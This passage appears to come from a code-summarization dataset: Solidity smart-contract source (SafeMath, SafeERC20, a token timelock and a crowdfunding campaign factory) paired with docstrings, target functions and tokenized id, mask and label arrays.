require(batchData.length == expectedLength, "unexpected data length");
return keccak256(batchData);
}
} | Aborts an ongoing distributionEvent and revokes all batch commitments. Only the contract owner may call this method. @param _distributionEvent string Name of a new distribution event | function abortDistributionEvent(string _distributionEvent) external onlyOwner {
require(distributions[_distributionEvent].hasPendingBatches, "distribution event is not currently ongoing");
(bytes32[] memory abortedBatchHashes, uint256[] memory abortedBatchIndices) = this.getPendingBatches(_distributionEvent);
delete distributions[_distributionEvent];
emit RewardsDistributionAborted(_distributionEvent, abortedBatchHashes, abortedBatchIndices);
}
| 12,795,362 | [
1,
13572,
87,
392,
30542,
7006,
1133,
471,
5588,
601,
281,
777,
2581,
3294,
1346,
18,
5098,
326,
6835,
3410,
2026,
745,
333,
707,
18,
225,
389,
16279,
1133,
533,
1770,
434,
279,
394,
7006,
871,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
6263,
9003,
1133,
12,
1080,
389,
16279,
1133,
13,
3903,
1338,
5541,
288,
203,
3639,
2583,
12,
2251,
15326,
63,
67,
16279,
1133,
8009,
5332,
8579,
31584,
16,
315,
16279,
871,
353,
486,
4551,
30542,
8863,
203,
203,
3639,
261,
3890,
1578,
8526,
3778,
18166,
4497,
14455,
16,
2254,
5034,
8526,
3778,
18166,
4497,
8776,
13,
273,
333,
18,
588,
8579,
31584,
24899,
16279,
1133,
1769,
203,
203,
3639,
1430,
23296,
63,
67,
16279,
1133,
15533,
203,
203,
3639,
3626,
534,
359,
14727,
9003,
27821,
24899,
16279,
1133,
16,
18166,
4497,
14455,
16,
18166,
4497,
8776,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address internal _beneficiary;
// timestamp when token release is enabled
uint256[] internal _releaseTimes;
// amount when token release is enabled
uint256[] internal _amounts;
//Release Status
mapping (uint => bool) public _releaseStates;
constructor (IERC20 token, address beneficiary, uint256[] memory releaseTimes, uint256[] memory amounts) public {
require(releaseTimes.length == amounts.length, "Length Checking");
_token = token;
for (uint index = 0; index < releaseTimes.length; index++) {
require(releaseTimes[index] > block.timestamp, "TokenTimelock: release time is before current time");
}
_beneficiary = beneficiary;
_releaseTimes = releaseTimes;
_amounts = amounts;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime(uint index) public view returns (uint256) {
return _releaseTimes[index];
}
/**
* @return the amount when the tokens are released.
*/
function releaseAmount(uint index) public view returns (uint256) {
return _amounts[index];
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
uint256 amount;
for (uint index = 0; index < _releaseTimes.length; index++) {
if(block.timestamp >= _releaseTimes[index] ){
if(!_releaseStates[index]){
amount = amount.add(_amounts[index]);
_releaseStates[index] = true;
}
}
}
require(amount > 0 , "TokenTimelock: no tokens to release");
require(amount <= _token.balanceOf(address(this)), "TokenTimelock: no enough tokens to release");
_token.safeTransfer(_beneficiary, amount);
}
function finishRelease() public{
require(_releaseStates[_releaseTimes.length -1]);
_token.safeTransfer(_beneficiary, _token.balanceOf(address(this)));
}
} | * @return the amount when the tokens are released./ | function releaseAmount(uint index) public view returns (uint256) {
return _amounts[index];
}
| 1,386,639 | [
1,
2463,
326,
3844,
1347,
326,
2430,
854,
15976,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
3992,
6275,
12,
11890,
770,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
8949,
87,
63,
1615,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/ClonesUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "./Campaign.sol";
import "./CampaignReward.sol";
import "./CampaignRequest.sol";
import "./CampaignVote.sol";
import "../libraries/math/DecimalMath.sol";
contract CampaignFactory is
Initializable,
PausableUpgradeable,
ReentrancyGuardUpgradeable
{
using SafeMathUpgradeable for uint256;
/// @dev `Factory Config Events`
event CampaignImplementationUpdated(address indexed campaignImplementation);
event CampaignRewardImplementationUpdated(
address indexed campaignRewardImplementation
);
event CampaignRequestImplementationUpdated(
address indexed campaignRequestImplementation
);
event CampaignVoteImplementationUpdated(
address indexed campaignVoteImplementation
);
event CategoryCommissionUpdated(
uint256 indexed categoryId,
uint256 commission
);
event CampaignDefaultCommissionUpdated(uint256 commission);
event CampaignTransactionConfigUpdated(string prop, uint256 value);
/// @dev `Campaign Events`
event CampaignDeployed(
address factory,
address campaign,
address campaignRewards,
address campaignRequests,
address campaignVotes,
uint256 category,
bool privateCampaign,
string hashedCampaignInfo
);
event CampaignActivation(Campaign indexed campaign, bool active);
event CampaignPrivacyChange(
Campaign indexed campaign,
bool privateCampaign
);
event CampaignCategoryChange(
Campaign indexed campaign,
uint256 newCategory
);
/// @dev `Token Events`
event TokenAdded(address indexed token, bool approval, string hashedToken);
event TokenApproval(address indexed token, bool state);
/// @dev `User Events`
event UserAdded(address indexed userId, string hashedUser);
event UserApproval(address indexed user, bool approval);
/// @dev `Trustee Events`
event TrusteeAdded(uint256 indexed trusteeId, address trusteeAddress);
event TrusteeRemoved(uint256 indexed trusteeId, address trusteeAddress);
/// @dev `Category Events`
event CategoryAdded(
uint256 indexed categoryId,
bool active,
string title,
string hashedCategory
);
event CategoryModified(
uint256 indexed categoryId,
bool active,
string title
);
/// @dev Settings
address public governance;
address public campaignFactoryAddress;
address public campaignImplementation;
address public campaignRewardsImplementation;
address public campaignVotesImplementation;
address public campaignRequestsImplementation;
string[] public campaignTransactionConfigList;
mapping(string => bool) public approvedCampaignTransactionConfig;
mapping(string => uint256) public campaignTransactionConfig;
mapping(uint256 => uint256) public categoryCommission;
/// @dev Revenue
uint256 public factoryRevenue; // total from all campaigns
mapping(address => uint256) public campaignRevenueFromCommissions; // revenue from cuts
/// @dev `Campaigns`
struct CampaignInfo {
address owner;
uint256 createdAt;
uint256 updatedAt;
uint256 category;
string hashedCampaignInfo;
bool active;
bool privateCampaign;
}
mapping(Campaign => CampaignInfo) public campaigns;
uint256 public campaignCount;
/// @dev `Categories`
struct CampaignCategory {
uint256 campaignCount;
uint256 createdAt;
uint256 updatedAt;
string title;
string hashedCategory;
bool active;
bool exists;
}
CampaignCategory[] public campaignCategories; // array of campaign categories
mapping(string => bool) public categoryTitleIsTaken;
uint256 public categoryCount;
/// @dev `Users`
struct User {
uint256 joined;
uint256 updatedAt;
string hashedUser;
bool verified;
}
mapping(address => User) public users;
mapping(address => bool) public userExists;
uint256 public userCount;
/// @dev `Tokens`
struct Token {
address token;
string hashedToken;
bool approved;
}
mapping(address => Token) public tokens;
/// @dev `Trustees`
struct Trust {
address trustee;
address trustor;
uint256 createdAt;
bool isTrusted;
}
Trust[] public trustees;
mapping(address => uint256) public userTrusteeCount;
mapping(address => bool) public accountInTransit;
mapping(address => address) public accountTransitStartedBy;
// { trustor -> trustee -> isTrusted }
mapping(address => mapping(address => bool)) public isUserTrustee;
/// @dev Ensures caller is owner of contract
modifier onlyAdmin() {
// check is governance address
require(governance == msg.sender, "forbidden");
_;
}
/// @dev Ensures caller is campaign owner alone
modifier campaignOwner(Campaign _campaign) {
require(
campaigns[_campaign].owner == msg.sender,
"only campaign owner"
);
_;
}
/// @dev Ensures caller is a registered campaign contract from factory
modifier onlyRegisteredCampaigns(Campaign _campaign) {
require(address(_campaign) == msg.sender, "only campaign owner");
_;
}
/**
* @dev Contructor
* @param _governance Address where all revenue gets deposited
*/
function __CampaignFactory_init(
address _governance,
address _campaignImplementation,
address _campaignRequestImplementation,
address _campaignVoteImplementation,
address _campaignRewardImplementation,
uint256[15] memory _config
) public initializer {
require(_governance != address(0));
require(_campaignImplementation != address(0));
require(_campaignRequestImplementation != address(0));
require(_campaignVoteImplementation != address(0));
require(_campaignRewardImplementation != address(0));
governance = _governance;
campaignFactoryAddress = address(this);
string[15] memory transactionConfigs = [
"defaultCommission",
"deadlineStrikesAllowed",
"minimumContributionAllowed",
"maximumContributionAllowed",
"minimumRequestAmountAllowed",
"maximumRequestAmountAllowed",
"minimumCampaignTarget",
"maximumCampaignTarget",
"minDeadlineExtension",
"maxDeadlineExtension",
"minRequestDuration",
"maxRequestDuration",
"reviewThresholdMark",
"requestFinalizationThreshold",
"reportThresholdMark"
];
for (uint256 index = 0; index < transactionConfigs.length; index++) {
campaignTransactionConfigList.push(transactionConfigs[index]);
approvedCampaignTransactionConfig[transactionConfigs[index]] = true;
campaignTransactionConfig[transactionConfigs[index]] = _config[
index
];
}
campaignImplementation = _campaignImplementation;
campaignRequestsImplementation = _campaignRequestImplementation;
campaignVotesImplementation = _campaignVoteImplementation;
campaignRewardsImplementation = _campaignRewardImplementation;
_createCategory(true, "miscellaneous", "");
}
/**
* @dev Updates campaign implementation address
* @param _campaignImplementation Address of base contract to deploy minimal proxies
*/
function setCampaignImplementation(Campaign _campaignImplementation)
external
onlyAdmin
{
require(address(_campaignImplementation) != address(0));
campaignImplementation = address(_campaignImplementation);
emit CampaignImplementationUpdated(address(_campaignImplementation));
}
/**
* @dev Updates campaign reward implementation address
* @param _campaignRewardsImplementation Address of base contract to deploy minimal proxies
*/
function setCampaignRewardImplementation(
CampaignReward _campaignRewardsImplementation
) external onlyAdmin {
require(address(_campaignRewardsImplementation) != address(0));
campaignRewardsImplementation = address(_campaignRewardsImplementation);
emit CampaignRewardImplementationUpdated(
address(_campaignRewardsImplementation)
);
}
/**
* @dev Updates campaign request implementation address
* @param _campaignRequestsImplementation Address of base contract to deploy minimal proxies
*/
function setCampaignRequestImplementation(
CampaignRequest _campaignRequestsImplementation
) external onlyAdmin {
require(address(_campaignRequestsImplementation) != address(0));
campaignRequestsImplementation = address(
_campaignRequestsImplementation
);
emit CampaignRequestImplementationUpdated(
address(_campaignRequestsImplementation)
);
}
/**
* @dev Updates campaign request implementation address
* @param _campaignVotesImplementation Address of base contract to deploy minimal proxies
*/
function setCampaignVoteImplementation(
CampaignVote _campaignVotesImplementation
) external onlyAdmin {
require(address(_campaignVotesImplementation) != address(0));
campaignVotesImplementation = address(_campaignVotesImplementation);
emit CampaignVoteImplementationUpdated(
address(_campaignVotesImplementation)
);
}
/**
* @dev Adds a new transaction setting
* @param _prop Setting Key
*/
function addFactoryTransactionConfig(string memory _prop)
external
onlyAdmin
{
require(!approvedCampaignTransactionConfig[_prop]);
campaignTransactionConfigList.push(_prop);
approvedCampaignTransactionConfig[_prop] = true;
}
/**
* @dev Set Factory controlled values dictating how campaign deployments should run
* @param _prop Setting Key
* @param _value Setting Value
*/
function setCampaignTransactionConfig(string memory _prop, uint256 _value)
external
onlyAdmin
{
require(approvedCampaignTransactionConfig[_prop]);
campaignTransactionConfig[_prop] = _value;
emit CampaignTransactionConfigUpdated(_prop, _value);
}
/**
* @dev Sets default commission on all request finalization
* @param _numerator Fraction Fee percentage on request finalization
* @param _denominator Fraction Fee percentage on request finalization
*/
function setDefaultCommission(uint256 _numerator, uint256 _denominator)
external
onlyAdmin
{
DecimalMath.UFixed memory _commission = DecimalMath.divd(
DecimalMath.toUFixed(_numerator),
DecimalMath.toUFixed(_denominator)
);
campaignTransactionConfig["defaultCommission"] = _commission.value;
emit CampaignDefaultCommissionUpdated(_commission.value);
}
/**
* @dev Sets commission per category basis
* @param _categoryId ID of category
* @param _numerator Fraction Fee percentage on request finalization in campaign per category `defaultCommission` will be utilized if value is `0`
* @param _denominator Fraction Fee percentage on request finalization in campaign per category `defaultCommission` will be utilized if value is `0`
*/
function setCategoryCommission(
uint256 _categoryId,
uint256 _numerator,
uint256 _denominator
) external onlyAdmin {
require(campaignCategories[_categoryId].exists);
DecimalMath.UFixed memory _commission = DecimalMath.divd(
DecimalMath.toUFixed(_numerator),
DecimalMath.toUFixed(_denominator)
);
categoryCommission[_categoryId] = _commission.value;
campaignCategories[_categoryId].updatedAt = block.timestamp;
emit CategoryCommissionUpdated(_categoryId, _commission.value);
}
/**
* @dev Adds a token that needs approval before being accepted
* @param _token Address of the token
* @param _approved Status of token approval
* @param _hashedToken CID reference of the token on IPFS
*/
function addToken(
address _token,
bool _approved,
string memory _hashedToken
) external onlyAdmin {
tokens[_token] = Token(_token, _hashedToken, _approved);
emit TokenAdded(_token, _approved, _hashedToken);
}
/**
* @dev Sets if a token is accepted or not provided it's in the list of token
* @param _token Address of the token
* @param _state Status of token approval
*/
function toggleAcceptedToken(address _token, bool _state)
external
onlyAdmin
{
tokens[_token].approved = _state;
emit TokenApproval(_token, _state);
}
/**
* @dev Checks if a user can manage a campaign. Called but not restricted to external campaign proxies
* @param _user Address of user
*/
function canManageCampaigns(address _user) public view returns (bool) {
return _user == governance;
}
/**
* @dev Retrieves campaign commission fees. Restricted to campaign owner.
* @param _amount Amount transfered and collected by factory from campaign request finalization
* @param _campaign Address of campaign instance
*/
function receiveCampaignCommission(Campaign _campaign, uint256 _amount)
external
onlyRegisteredCampaigns(_campaign)
{
campaignRevenueFromCommissions[
address(_campaign)
] = campaignRevenueFromCommissions[address(_campaign)].add(_amount);
factoryRevenue = factoryRevenue.add(_amount);
}
/**
* @dev Keep track of user addresses. sybil resistance purpose
* @param _hashedUser CID reference of the user on IPFS
*/
function signUp(string memory _hashedUser) public whenNotPaused {
require(!userExists[msg.sender], "already exists");
users[msg.sender] = User(block.timestamp, 0, _hashedUser, false);
userExists[msg.sender] = true;
userCount = userCount.add(1);
emit UserAdded(msg.sender, _hashedUser);
}
/**
* @dev Ensures user specified is verified
* @param _user Address of user
*/
function userIsVerified(address _user) public view returns (bool) {
return users[_user].verified;
}
/**
* @dev Initiates user account transfer process
